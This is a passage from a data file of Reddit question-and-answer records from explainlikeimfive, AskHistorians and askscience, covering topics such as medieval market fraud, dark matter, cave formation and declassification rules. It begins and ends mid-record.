Sea-man made her apprehend that he would not have all see what they did, and that she must go under Deck. The Woman, having got her Father\u2019s leave, followed the Sea-man with two other aged women, a young Boy, and a Girl about 12 years of age, who were to be present at the consummation of the bargain. But as soon as they were down, the hatch was shut, they laid hold also of another Man, and set sail.\n\nThat said, two modern kayakers, Patrick Winterton and Mick Berwick, completed a 250-mile voyage from Stornoway to the Faroes in 2009, so perhaps the concept of independent visits made by Inuits to Orkney and the coast of Scotland is not utterly far-fetched.\n\nFor further discussion, see \n\nDale Idiens, 'Eskimos in Scotland c.1682-1924' in Christian Feest (ed), *Indians and Europe: An Interdisciplinary Collection of Essays.*\n\nDavid Macritchie, ['The Aberdeen kayak and its congeners'](_URL_0_). *Proceedings of the Society of Antiquaries of Scotland*, 1912.\n\nAndrew Jennings, '[The Finnfolk'](_URL_1_) (Text of a public talk delivered at the Shetland Museum)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://webcache.googleusercontent.com/search?q=cache:dJcl3CpUTrQJ:https://archaeologydataservice.ac.uk/archiveDS/archiveDownload%3Ft%3Darch-352-1/dissemination/pdf/vol_046/46_213_241.pdf+&amp;cd=2&amp;hl=en&amp;ct=clnk&amp;gl=uk", "https://www.uhi.ac.uk/en/research-enterprise/cultural/centre-for-nordic-studies/conferences/the-finnfolk"]]}
{"q_id": "3sgw1f", "title": "why do so many subreddits frown upon self promotion/oc, especially those for artistic mediums such as music?", "selftext": "I can't wrap my head around why so many subreddits for music or art frown upon posting original content. There are a ton of creative content creators on reddit, so why do subreddits such as /r/listentothis have strict policies against it? Shouldn't it be to the voters to decide if the content is worthy, rather than banning self posts altogether? \n\nI'm just trying to understand the reasoning.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3sgw1f/eli5_why_do_so_many_subreddits_frown_upon_self/", "answers": {"a_id": ["cwx3ac9", "cwx3nmj", "cwxd4i9", "cwxg6fa"], "score": [5, 25, 2, 2], "text": ["/r/listentothis doesn't frown against self promotion. They have threads devoted specifically to it. They do this to keep the sub clean, focused mostly on just sharing direct music links.", "You are supposed to submit things you think the subreddit's subscribers will like.  When you submit your own stuff, it is probably because you selfishly want sales/attention/publicity/whatever.\n\nIt's kinda like a congressman saying, \"yeah, I accepted $1M in exchange for voting for that bill, but it was a good bill that I was going to vote for anyway, and hundreds of other congressmen voted for it too!\"  Nope, still bribery.", "I think most redditors don't like advertisements, or being advertised to via posts. If you post in a way where people PM you if they can buy something, that's what gets you sales. \nI don't know how to do that because I've never thought about it until now, you seem smart enough, I think you could figure it out easy enough. Try a bunch of different things at once and narrow down what works and what doesn't. \n\nGood luck! Don't give up!", "There are many cases where people have been allowed to post self promotion and have severely abused it. \"Maybe if I post it again I will get more upvotes this time!\" It's rather common. \n\nAs a content creator myself it's very frustrating, but I can understand why it rubs people the wrong way."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1s5zsn", "title": "Were individuals, rather than infrastructure or military units, ever targeted for aerial bombardment in the twentieth century? Were any political leaders ever assassinated by aerial bombardment?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1s5zsn/were_individuals_rather_than_infrastructure_or/", "answers": {"a_id": ["cdubhw5", "cdubz8x", "cduf3st"], "score": [14, 9, 13], "text": ["Not quite what you're asking, but Isoroku Yamamoto, commander of the Japanese Navy in World War II, was assassinated by a targeted attack by US fighter planes on his transport plane in 1943.\n\nCloser to what you're asking is the assassination of Dzhokhar Dudaev, president of the breakaway region of Chechnya, in 1996. Russian air-to-ground missiles tracked his cell phone signal.\n\n", "Reagan [famously ordered one of Gaddafi's residences bombed](_URL_1_) in retalation for his sponsorship of terrorism.  Gaddafi wasn't there but the strike allegedly killed his daughter (though there's a fairly strong suggestion that she [wasn't actually killed](_URL_0_) in the raid and is doing just fine... but that revelation is too recent to be considered \"history')\n\n", "One aspect of aerial bombardment to keep in mind is that until quite recently it was a very inaccurate practice.  For instance, in WWII even hitting a railroad marshalling yard was a difficult practice.  To take out a rail line was nearly impossible.  The bombs scattered in too wide a pattern, even if you could overcome navigational difficulties and the local air defense network.  Toss in human error and you were lucky to hit the right city, much less a particular residence.  Rail lines became vulnerable when larger \"tallboy\" bombs were used.  These bombs targeted raised railroad viaducts.  Their larger destructive radius (and their handpicked crews in specialized aircraft) allowed some sporadic successes in WWII in hitting rail lines.\n\nComputerized bombing systems did allow greater accuracy in conflicts like Vietnam, where the B-52 was used to good effect in a 'carpet bombing' capacity.  Still, bridges and particular buildings were a difficult target to hit.  During Vietnam, though, the US began to develop and deploy what would later become known as 'smart' munitions.  Various optically guided and laser guided bombs and missiles were able to hit their target on their first pass much more often than in previous wars.  (It must be noted that there were limited experiments with guided munitions during WWII, but they were not in widespread use and were somewhat unreliable)\n\nOnly with the Gulf War in 1991 were precision munitions used to a truly large extent.  This is not to say that targeting someone with a bombing attack before then was possible, it is just that it was much more difficult than in the past few decades.  Also, even in Desert Shield/Storm the majority of the bombs dropped were plain 'dumb' bombs (but most of the press went to the revolution of precision munitions).  As that is near the date of the 20 year cutoff rule here, that is where I will cease my post as well. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://content.time.com/time/world/article/0,8599,2088074,00.html", "http://www.history.com/this-day-in-history/us-bombs-libya"], []]}
{"q_id": "77572e", "title": "If, from earth, we can see Venus as a white-pinkish dot, would we see the Earth as a blue dot if we were on Venus? Assuming that ideally there were no clouds and the sky was clear.", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/77572e/if_from_earth_we_can_see_venus_as_a_whitepinkish/", "answers": {"a_id": ["doj9crl", "dojeohv"], "score": [53, 8], "text": ["Yes.  As seen from space near Venus, the Earth would be very obviously blue, slightly dimmer than Venus as seen from Earth, and would have a dimmer silvery dot (our Moon) right next to it.\n\nI don't believe any photos have been taken of the Earth from spacecraft at Venus, but here's a black-and-white telescopic photo from Mercury:\n\n_URL_0_", "[Here are pictures of earth](_URL_0_) from spacecraft at other bodies. They didn't have Venus but from Mars you can see blue and white."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.planetary.org/multimedia/space-images/earth/earth-and-the-moon-messenger.html"], ["http://www.astronomy.com/news/2017/04/cassinis-final-image-of-earth"]]}
{"q_id": "feykgf", "title": "What sort of scams, swindles and hoodwinks would you find in a medieval marketplace?", "selftext": "Was there a medieval equivalent to selling counterfeit jeans? Or anything like an early MLM? Trading magic beans for cows? I'm thinking of people pretending to be running legitimate businesses, but actually just ripping people off.\n\nIf such practices existed, what was their relation to law enforcement? If I was ripped off by a scam artist, would I have any hope of getting my money back?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/feykgf/what_sort_of_scams_swindles_and_hoodwinks_would/", "answers": {"a_id": ["fjtirq5"], "score": [106], "text": ["Oh yes, my friend, oh yes. There was all the fraud you could want (or rather, not want). I'm going to talk about food fraud, spice fraud, wine fraud, clothing fraud, and alternative medicine that was a little too alternative.\n\nI'm going to talk primarily about markets in late medieval Europe, which means we're talking pretty much about shoppers from a range of social classes and payments in money.\n\nBread was the basic food of late medieval cities, especially poor people (the city residents we never think about). Some cities even had laws mandating that no matter the price of various grains, bakers were required to sell their cheapest loaf at (the equivalent of) half a penny. So selling bad bread was particularly common and particularly harmful.\n\nOne popular cheat was to sell loaves that weighed less than claimed. Since there was a hierarchy of prestige in terms of grain used, mixing a little (say) barley with oat flour could yield the seller a bit of extra money.\n\n...and then, of course, there was the mixing in of things that were *in no way* flour. Cobwebs, dirt...A particularly \"enterprising\" baker might even combine frauds. Run out of cobwebs? Running really short on flour? Mix some (presumably small) stones into your loaves, so they'll meet the weight requirement, too.\n\nThere was also the sale of rotten meat, or meat that had not sold the previous day, but clearly we can get more creative than that. The medieval equivalent of the McDonald's hamburger was a personal-ish pie--specifically, a pie with a bottom crust, a top crust, and a big space in between that was *not* visible during sale. We have records of sellers putting in rotten meat, kitchen scraps, no meat.\n\nBarbara Hanawalt cites the 1351 case of London pasteler Henry de Passelewe (\"de\" was common in medieval English surnames) to demonstrate how the process of catching pie fraud might unfold. One customer, ravenous, bought two pies. With the help of a couple of friends, he ate through nearly an entire pie before realizing the meat was rotten. So was the meat in the second. The customer took the two pies to city officials, who further called in two pastelers to judge. The meat was indeed declared rotten. (I don't know how long this process took.)\n\nPunishments for selling bad bread and meat were based on public shaming. Time in the pillory was common; the other major element was to be paraded through the streets with the illegal merchandise dangling from their neck.\n\nSelling fraudulent spices, one imagines, was one of the easier schemes to pull off. Spices constituted, for the most part, rather expensive dried powders that were claimed to come from \"the East\", and could act as flavorings or medicines. We're talking everything from cinnamon to tutti from particular origins (which meant, usually, chimney scrapings). So it had to have been reasonably common for apothecaries and others to turn some extra profit here.\n\nDrinks with alcohol in them--wine, beer, ale--were another marker of social and monetary prestige, both in terms of their quality and in terms of being simply *not water* (the drink of the poor). The geographic area of land in Germany that produced wine was *far* larger than today, but the wine was less than ideal. So German cities had laws against selling German-origin wine as Spanish or French. To water down one's wine was another pretty obvious trick.\n\nOne Middle English satirical poem by John Skelton, *The Tunnyng of Elynor Rummyng*), has very much fun describing a particular type of ale fraud:\n\n >  And sometimes she blends\n\n >  The shit of her hens\n\n >  And the ale together,\n\n >  And says, \"My friends, come hither!\n\n >  This ale will be thicker\n\n >  And flow the more quicker.\"\n\n(And, Skelton describes, even when she doesn't blend it on purpose, her chickens defecate in the vat of ale and she just shrugs it all away.)\n\n(Also--most of the point of the poem--EVERYONE LOVES THIS ALE. One person even trades their wedding ring for some...)\n\nClothing fraud--mostly what I've read about in this realm is clothing sold as being made of new cloth was actually made of secondhand cloth. And this wasn't just at the buyers' end. In Rouen, members of the guild of drapers of new cloth sued the used-cloth drapers' guild for honing in on their territory.\n\nAnd that brings us to alternative medicine that was a little too alternative. The modern opinion of medieval medicine tends to be, essentially, \"Ummm...\" But in fact, quacks had a very large presence even as elements of medieval popular culture. Selling cures for diseases that did not exist, or attempting to make people sick in order to cure them, are good examples here. \n\nBut there was standard lying about what would work (that is, in the minds of medieval people). This might be harder to prove straight-up, so cities had to find other ways of dealing with it. In late medieval Italy, cities tried to restrict sellers of snakebite-cure to the outskirts of the city, or even outside the city walls.\n\nThat is, the snakebite-cure sellers who marketed their wares with giant flags and, well, with venomous snakes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7pse2f", "title": "with state after state legalizing recreational cannabis, is there a point where it would be more or less certain (i.e. 34+ states) it would become legal federally?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7pse2f/eli5_with_state_after_state_legalizing/", "answers": {"a_id": ["dsjnnoo"], "score": [3], "text": ["While what you say may be hypothetically true, that's not usually how the process works. There's no specific point where this happens semi-automatically."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7rv6n8", "title": "What do scientists mean when they say \"We only know what makes up 5% of the Universe\"? What makes up the other 95% of the Universe and how come we don't know what it is ?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7rv6n8/what_do_scientists_mean_when_they_say_we_only/", "answers": {"a_id": ["dszuqqk", "dszylg6", "dt036re", "dt0ma5a"], "score": [24, 59, 35, 4], "text": ["The Dark Matter and Dark Energy make up the 95%.\n\nIn simple terms... We look at how stars move around.  We then calculate how much mass these stars have. And then we realize that the stars and galaxies with such mass don't behave the way we see them behave. There's a lot of mass missing. We call that missing invisible mass \"Dark Matter\". Although it could just be our misunderstanding of physics or whatever else.\n\nI'm not very informed on Dark Energy, but I think it's the same concept.", "We can measure the total matter density.\n\nWe can also observe how many stars there are and what their masses are (and calculate the energy corresponding to this mass). They contribute 1% to the total energy density. Add gas in galaxies, gas between galaxies, planets, black holes, and everything else we can directly observe and you end up with about 20% of the total matter density.\n\nWhat about the rest? We know it is there from its gravitational influence, we can even map its density, but we don't know which particles it is made out of (there are searches for possible particles, but without a discovery so far). This is dark matter, contributing about 80% of the total matter density.\n\n----\n\nWe can measure the expansion rate of space, and the total matter density allows to calculate how much expansion should slow down over time. But the measurements show it is expanding. There are multiple ways to describe this, but the easiest approach is dark energy: A constant energy density everywhere that - unlike matter - makes the universe expand faster. To compare this to the matter density, we can convert the matter density to an energy density via E=mc^(2). The overall result is 68% dark energy, 27% dark matter and 5% regular matter.", "We and everything we can see is only a residual fraction of what exist. We don't know the details of the dominating ~ 95 percent of the energy density of the Universe, but we can say something about the general properties. \n\nThe ~ 95 percent can, to the best of our knowledge, be divided into two broad components:\n\n1. Dark matter (~ 27 percent of the energy density of the Universe)\n2. Dark energy (~ 68 percent of the energy density of the Universe)\n\n\u2014\u2014 Dark matter \u2014\u2014\n\nWhat is dark matter and why do we think it exist? The classic evidence for dark matter comes from galaxies (including our own, the Milky Way). From how rapidly stars orbit the centers of galaxies, we can infer the mass of these galaxies. This mass turns out to exceed \u2014 by a large margin \u2014 all the stars, gas, dust, planets, and (very likely) black holes in these galaxies. The most natural interpretation is that galaxies live in vast and massive encompassing halos of stuff that does not (to 1st approximation at least) interact with light, but only gravitationally. Since it is not visible, we call it dark matter. \n\nMore impressive evidence for dark matter IMO, which is rarely emphasized in popular science, is the following: We would not be here without dark matter. What do I mean by this? We live in a galaxy, and galaxies form out of small density fluctuations in the early Universe that grow under their own gravity.\n\nDensity fluctuations in ordinary matter couple to radiation (electromagnetic radiation is light) in a way that inhibits the growth of them due to radiation pressure. In a Universe without dark matter, the growth of density fluctuations are so severely delayed that there would essentially be no galaxies by now. \n\nWe see the effects of this in the cosmic microwave background (CMB) radiation left over from when the Universe was only a few hundred thousand years old and ~ 1/1000 the size of its current size. Temperature fluctuations in the CMB indicates that density fluctuations in ordinary matter were of the order ~ one part in a hundred thousand. Density fluctuations in an expanding Universe (as long as dark energy doesn't dominate) scale directly with the size of the Universe. So by now the density fluctuations in ordinary matter would be,\n\nDensity fluctuation = (Original density fluctuation) x (Expansion factor since then) ~ (1/100 000) x 1000 = 0.01\n\nBut galaxies can only form if we have density fluctuations close to 1 (and processes like Silk damping makes this problem even worse). Dark matter solves this because there are no interactions with radiation (light) and the fluctuations can therefore start to grow at earlier times, thus forming halos of dark matter by now. The ordinary matter feels the gravity of the dark matter and ultimately settles into them, voil\u00e0: You have a galaxy!\n\nThus there are strong reasons  \u2014 observational and theoretical \u2014 to expect dark matter. Observations of the CMB, gravitational lensing of clusters of galaxies, the speed at which stars orbit galaxies together indicate that we live in a Universe with ~ 27 percent of dark matter. If you plug this into cosmological simulations and see what happens after billions of years, you get galaxies that look eerily similar to real ones. So we are probably on the right track. \n\nBut you will notice that I haven't said much about the particle physics of these supposedly new and exotic particles \u2014 that's the horizon line of knowledge. Hopefully we'll learn something about it soon.\n\n\u2014\u2014 Dark energy \u2014\u2014\n\nWhat is dark energy? All forms of energy, be it ordinary or dark matter ( recall that matter is a form of energy from E = mc^2 ), radiation or dark energy, influences the rate at which the Universe expands. The more energy you fill your Universe with, the faster it will either expand or collapse. \n\nIn a Universe only consisting of matter and/or radiation, the expansion rate will decline as the matter and/or radiation is diluted with the expansion. Dark energy on the other hand is something different. What happens to the expansion rate if we fill the Universe with something that does *not* dilute? By this I mean that if you start with 2 units of energy per cubic meter, and I suddenly double the size of the Universe, you still have 2 units of energy per cubic meter. \n\nThis is peculiar, and the effect is not a declining expansion rate, but instead an exponential expansion rate: The Universe expands faster and faster. Interestingly, observations since 1998 have indicated that we live in such a Universe. Supernovae observations at that point showed that the expansion had speeded up, and so there must be something, we call it 'dark energy', driving this exponential expansion. Observations of the CMB have lated indicated the exact same thing. All observations point to a Universe consisting of roughly 68 percent dark energy.\n\nWhat can dark energy be? Huge mystery. But cosmologists have talked about it even before its detection. Einstein introduced a 'cosmological constant' in his equations back in 1917 with the properties of dark energy. And in quantum field theory, the science underlying all of particle physics, you naively expect a huge amount of dark energy (called vacuum energy). You expect so dark energy that the Universe would basically blow apart without any galaxies forming. So while it is reasonable to postulate the existence of dark energy, even ignoring the observational evidence for it, the theories so far cannot predicts its magnitude, and we don't know the detailed particle physics underlying it. Thus, we can't say we know what dark energy is. \n\nIs it vacuum energy? Why is there so little of it then? Maybe we live in a bubble of a hypothetical inflationary Multiverse with very little vacuum energy? Or maybe dark energy is some new exotic field? Who knows?\n\nThe origin and nature of dark energy are two of the biggest questions in cosmology. ", "Here's an excellent post by u/Senno_Ecto_Gammat describing, point-by-point, the evidence for dark matter:\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.reddit.com/r/space/comments/6488wb/i_dont_want_to_be_anti_science_but_i_am_doubtful/dg05wx4/"]]}
{"q_id": "rc4yp", "title": "the \"third-eye\"? what do people mean by that?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/rc4yp/eli5_the_thirdeye_what_do_people_mean_by_that/", "answers": {"a_id": ["c44megk", "c44mkd3", "c44nerp", "c44rs9e"], "score": [2, 8, 2, 2], "text": ["The \"pineal gland\" is a little pea-sized part of the brain that has some cells which seem very similar to the cells in our eyes that allow us to see.  No one really knows why.  Mystery!", "The most relatable definition is that it is another name for the pineal gland, a part of your brain that has a number of cells that are similar to those found in the eye.\n\nFor a more spiritual definition, the brow chakra (also a \"third eye\") is said to be in the same location as the pineal gland and is seen as the source of visions and other psychic and/or metaphysical abilities.", "They don't mean the pineal gland, that's some retconned bullshit. It's hippy namby pamby superstition.", "It means how you can \"see things in your head\" using your imagination.\n\nPeople who have really active imaginations sometimes feel like they are seeing light and colors inside their head, as if they were actually looking at what they're imagining. Philosophers call it [\"mental imagery\"](_URL_0_). Not everyone gets this sort of thing; for some people it is very weak and for some it is very strong. When some ancient people had strong mental imagery, they thought it was like a third eye opening in the middle of their heads.\n\nPeople back then didn't know how *real* eyes worked. Today we know that eyes work by picking up light rays that have bounced off of things. Back then, many people thought that [eyes *sent out* invisible beams](_URL_1_) to see things; and that the reason you couldn't see in the dark was that darkness blocked your eye beams.\n\nSo if you think eyes send out beams into the world, and imagination is like a third eye, then it must be sending out beams into ... what? Some kind of special mind-world \u2014 a different sort of space from the one we usually see; full of ideas and images! People came up with different words for this, like \"astral plane\" and \"inner world\" and \"realm of ideal forms\". They believed that really powerful imaginary images, dreams, or hallucinations meant they were seeing into a special world. And when they made art about people who had these big thoughts \u2014 like Buddha \u2014 they sometimes drew rays coming out of that person's head to show these beams of thought going out.\n\nRecently, scientists have discovered that when you imagine things really strongly, you are actually using the same part of your brain that you would use if you actually saw those things. If you close your eyes and imagine seeing a cat, and hold the image of a cat in your \"mind's eye\", you're using the same parts of your brain that would turn on if you watched a real cat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Mental_image", "http://en.wikipedia.org/wiki/Emission_theory_(vision\\)"]]}
{"q_id": "22nwsx", "title": "Were soldiers ever compensated for their services with land? If so, was it a prevalent method?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/22nwsx/were_soldiers_ever_compensated_for_their_services/", "answers": {"a_id": ["cgoqzif", "cgphfu9"], "score": [3, 2], "text": ["Multiple Chinese dynasties settled soldiers on the frontier to serve as a kind of combo \"defence/farming\" force. I'm having trouble finding exact examples of dynasties outside of the Ming, but if you look [here](_URL_0_) on pg 267, you'll see that the Ming settled a quarter of a million soldiers in areas with potential unrest, a pattern that they continued to pursue as they conquered new land. I'm not sure if this as meant entirely as compensation. I remember having read that the Qing and Yuan dynasties also settled soldiers on the frontier, but I'm having trouble finding a source at the moment.", "Medieval English Kings definitely rewarded some soldiers with land.\n\nI've told the story before, but Thomas de Rokeby was awarded land worth \u00a3100 (plus a knighthood) for leading Edward III to the Scottish army. There are treasury documents that also show that he was awarded other land for further service throughout his life (most of which he took as a cash payment instead, IIRC).\n\nAlso, William the Conqueror famously parceled out land he took from Anglo-Saxon nobles to his followers and William Rufus and Henry I both had large amounts of land in the north of England that they were able to reward to their followers.\n\nOf course the ability to reward people with land is predicated on the land being available."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://books.google.com.hk/books?id=Y1mQAgAAQBAJ&amp;pg=PA267&amp;lpg=PA267&amp;dq=chinese+soldiers+settle+frontier&amp;source=bl&amp;ots=CjSTPxLMsM&amp;sig=RJL4F6tj4wH-BtwHFg2dYOUNq5Y&amp;hl=en&amp;sa=X&amp;ei=CidGU6T3McXZigepn4GwAw&amp;ved=0CCgQ6AEwAA#v=onepage&amp;q=chinese%20soldiers%20settle%20frontier&amp;f=false"], []]}
{"q_id": "2i3ro5", "title": "if thc stays in your system for so long because its not water soluble like many other drugs, but it is soluble in alcohol, does that mean drinking liquor will remove thc from your body faster?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2i3ro5/eli5if_thc_stays_in_your_system_for_so_long/", "answers": {"a_id": ["ckyjg6e", "ckysf74", "ckyuaz4"], "score": [8, 3, 2], "text": ["I doubt it.  When you excrete waste, you don't pee or poop out alcohol.  The alcohol is metabolized and exhaled as CO2 and water.  So any THC that might be dissolved will just remain in your system.", "It's actually largely fat-soluble, and regular use (e.g. daily or near-daily over the course of weeks or more) will cause your body's fat stores to act as a reservoir leading to remnants staying there and then leaking to circulate through the bloodstream for weeks after your last use. I don't know about its solubility in alcohol but even very heavy drinking only leads to maybe 0.3-0.4% concentration of alcohol in the blood which in the grand scheme is a very small proportion.", "But, you'd probably die of alcohol poisoning before anything noticeable occurred. I mean think about it, .18 BAC means blackout drunk for most people. Yet that's only one-fifth of 1% of *all the blood in your body*. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2p04wz", "title": "how does malala yousafzal standing up for womens rights to an education in the middle east promote world peace(and get her the nobel prize).", "selftext": "According to Nobel's will, the Peace Prize is to go to whoever \"shall have done the most or the best work for fraternity between nations, for the abolition or reduction of standing armies and for the holding and promotion of peace congresses\". How does Malala Yousafzal fit that description even in the slightest?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2p04wz/eli5_how_does_malala_yousafzal_standing_up_for/", "answers": {"a_id": ["cms4u4e", "cms4wl4"], "score": [5, 5], "text": ["Malala deserves something incredible for her courage and I think the Nobel Peace Prize is the closest to resemble what she deserves. But, I don't think it even touches what she deserves. Whilst going to school one day she was shot 3 times, once in the head. Pakistan, the country she lives in, strongly encourages that women do not get an education due to their religious beliefs. In fact, the girls only schools were shutdown, one of which she attended. Women were discouraged in going to school in co-ed schools.\n\nSurprisingly, she survived, but not without some damage. In the hospital, she was asked what she would do with her life and she said that she would continue going to school for an education. She did. Her courage gathered more and more women to go to school and the girls only school reopened with higher attendance, but not without a fight. Despite the acts of violence on other women and the school itself, she encouraged peaceful negotiations and discouraged violence.\n\nSince then she has continued her activism in opening education for everyone, regardless of gender, race, or other. Even stronger has been the UN's reaction to discourage discrimination against women.", "The selection committee doesn't necessarily follow the criteria you described.\n\nMalala has bravely advanced the cause of her people, of girls around the world, and of children everywhere who desperately need education. She has done this peacefully, in spite of danger, threats, and attempted assassination. For many, she's encouraged empathy and support between nations and peoples through her work with journalists, advocacy groups, and the United Nations. If you'd like to know more about her work, I recommended you read her Wikipedia article, as it covers that subject in more detail than I can."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "cosslo", "title": "why and how do caves form inside mountains or rocks?", "selftext": "I understand somewhat that the formations inside these caves are caused by water/creeks and the shapes inside are from droplets where crystals form over thousands of years. But how do some become massive and so open?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cosslo/eli5_why_and_how_do_caves_form_inside_mountains/", "answers": {"a_id": ["ewkzyk6", "ewl0rep", "ewl0s0d", "ewlm2th", "ewlna5o"], "score": [14, 4, 6, 2, 2], "text": ["Either running water or magma.\n\nA tiny crack in the rock where water runs down can turn into a massive cave over the course of thousands of years. In volcanic regions hot magma carves caves and tunnels out of the rock.", "Volcanoes also create lava tubes as well. Once the lava stops flowing it leaves open tubes that can run for miles.", "To me the most fascinating thing about subterranean erosion is that it is literally happening all over the planet. It is possible there are massive caves deep underground with their own micro ecosystems of extremophiles.\n\nEdit: to clarify there are for sure at least some extremophile ecosystems in caves, but there could be so many more that we know nothing about.", "Carbon dioxide, when dissolved in water, forms carbonic acid, a very weak acid, but strong enough to corrode limestone. Rain falls through the atmosphere at normal CO2 concentration but when it lands on soil it encounters higher levels caused by biological activity in the soil, as the water seeps through the soil it becomes acidified enough to corrode limestone bedrock, tiny cracks get bigger and eventually are large enough to be caves.\n\nCaves are often open to the air and barometric and temperature changes will cause the cave to exchange air with the atmosphere, CO2 concentrations in cave air are about the same as above ground. When water, enriched in CO2 by the soil above reaches cave air it gives up that excess gas to the cave air and can no longer retain the limestone it has dissolved and leaves it deposited on the ceiling of the cave. Drip by drip over thousands of years a stalactite forms. Not all of the dissolved limestone gets left on the ceiling, the rest can be deposited on the cave floor to form a stalagmite.", "Havent seen it mentioned here and I'm not a huge cave expert, but in Texas a few months ago our family went to some caves that were formed by 2 tectonic plates moving apart from each other. You could clearly see the patterns in some parts where each side of the cave would fit Into the other Some thousand/million years ago."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "esu4v6", "title": "what is scientific materialism?", "selftext": "Doing a philosophy class and I have no idea what this means even after searching it on Google.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/esu4v6/eli5_what_is_scientific_materialism/", "answers": {"a_id": ["ffc4ods", "ffc6biv", "ffc90t9"], "score": [16, 3, 3], "text": ["Basically, reject anything that cannot be scientifically proven/observed. However, it appears to really only be used by creationists to refer to the opposing side in the context of discussing moral relativism\n\ni.e. someone may make the claim that since morality cannot be scientifically proven, materialists (aka atheists) have no obligation to behave according to any particular moral system.", "It is essentially the same as Materialism; the word \"Scien**tist**ic [sic] is prepended essentially in an attempt to discredit science.\n\nMaterialism is the idea that matter and the physical state of the world is all there is; and that everything else (e.g. consciousness) can be reduced to that physical state.  This precludes the existence of gods which transcend matter, or the idea that consciousness is something \"special\" which cannot be explained in terms of neurons, brain chemistry, etc.", "Materialism is the philosophical stance there are no supernatural forces, objects, or beings, only physical ones, and the universe can be explained entirely in physical terms.\n\nScientific materialism isn't really a philosophical term.  It is used by critics of science and materialism, particularly religious creationists, who reject materialism for a number of reasons.  Besides being pejorative, there is no real different between it and regular materialism."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2dsebr", "title": "why do little people have high/squeaky different voices", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2dsebr/eli5_why_do_little_people_have_highsqueaky/", "answers": {"a_id": ["cjsks0m"], "score": [2], "text": ["smaller vocal cords, the pitch gets higher.\n\nit works just like a guitar string, the longer the string is, the lower the frequency of the vibration, the lower the note. the higher you put your finger on the fret board, the shorter the area of the string that vibrates, the higher the frequency is and that leads to a high pitch sound.\n\n\ni think."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1z3j6y", "title": "why is sex evil?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1z3j6y/eli5_why_is_sex_evil/", "answers": {"a_id": ["cfq5qm2", "cfq5rv6", "cfq5t9c", "cfq5toi"], "score": [3, 4, 4, 2], "text": ["Um, it's not?", "Because you're Catholic?", "I would advise questioning whichever belief system you've subscribed to or been brought up in, from its very foundations.\n\nCome swim in the waters with the rest of humanity. It's fun.", "sex is evil because satan lives in your anus. You must pound the anus hard to drive satan out of your anus."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "cnsgt3", "title": "do the government have to declassify everything after a certain amount of time? if so how do know they actually will.", "selftext": "I read something about the 30 year rule but it wasn't very clear whether they HAVE to declassify after 30 years.\nI mean how do we know if they've withheld documents that should have been declassified by now?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cnsgt3/eli5_do_the_government_have_to_declassify/", "answers": {"a_id": ["ewdgnl5", "ewdh6t5", "ewdj8ka"], "score": [3, 5, 9], "text": ["they may declassify stuff.  it doesn't mean they can't redact near 100% of the document.   you don't know if they've withheld.  there's is no master list of all files on a checklist to be declassified.", "No they do not HAVE to.  \n\nHowever, depending on the classification the document was given, they may have to review it after X years (and periodically after that), usually it starts at 10 years... but realistically, stuff is generally not declassified until at least 25 years, as it will be reviewed again at 25 years as it was at 10. At the 25 year mark, it goes through another review, and each 25 years after that it will do another review.\n\nSome documents are never declassified, but plenty of stuff does get declassified. Some get released but in redacted versions, and the full version come available later, or never.", "The rule is generally 25 years after it was made, current law is everything is automatically declassified after 25 years, with a few exceptions.\n\n1. Anything still relevant to national security can get re-reviewed and have the time extended\n2. Nuclear stuff gets an automatic forever exception\n\n\nDeclassified doesn't mean released. You would still redact stuff like a spys home address, or the name of an informant. It's not classified, but it is personal information and not releasable.\n\nAnd finally, the biggest thing, none of this matters if it's not going to get released. Specifically, a 50 year old document that says how many planes were shot down might technically be \"declassified\" per law, but if nobody asks for a copy nobody is going to look and review it. And further, to reduce risk, they regularly go through and destroy stuff they don't need. So that report might get declassified after 25 years, but it doesn't matter, they shredded it when it was 1 year old, it might be legally declassified and releasable, but it doesn't exist, so you can't ask for it and it can't be released.\n\nSo really the have to laws, you do a FIOA request, they have to look for what you asked for, if it's subject to declassification then they have to check if it's still classified and they have to release 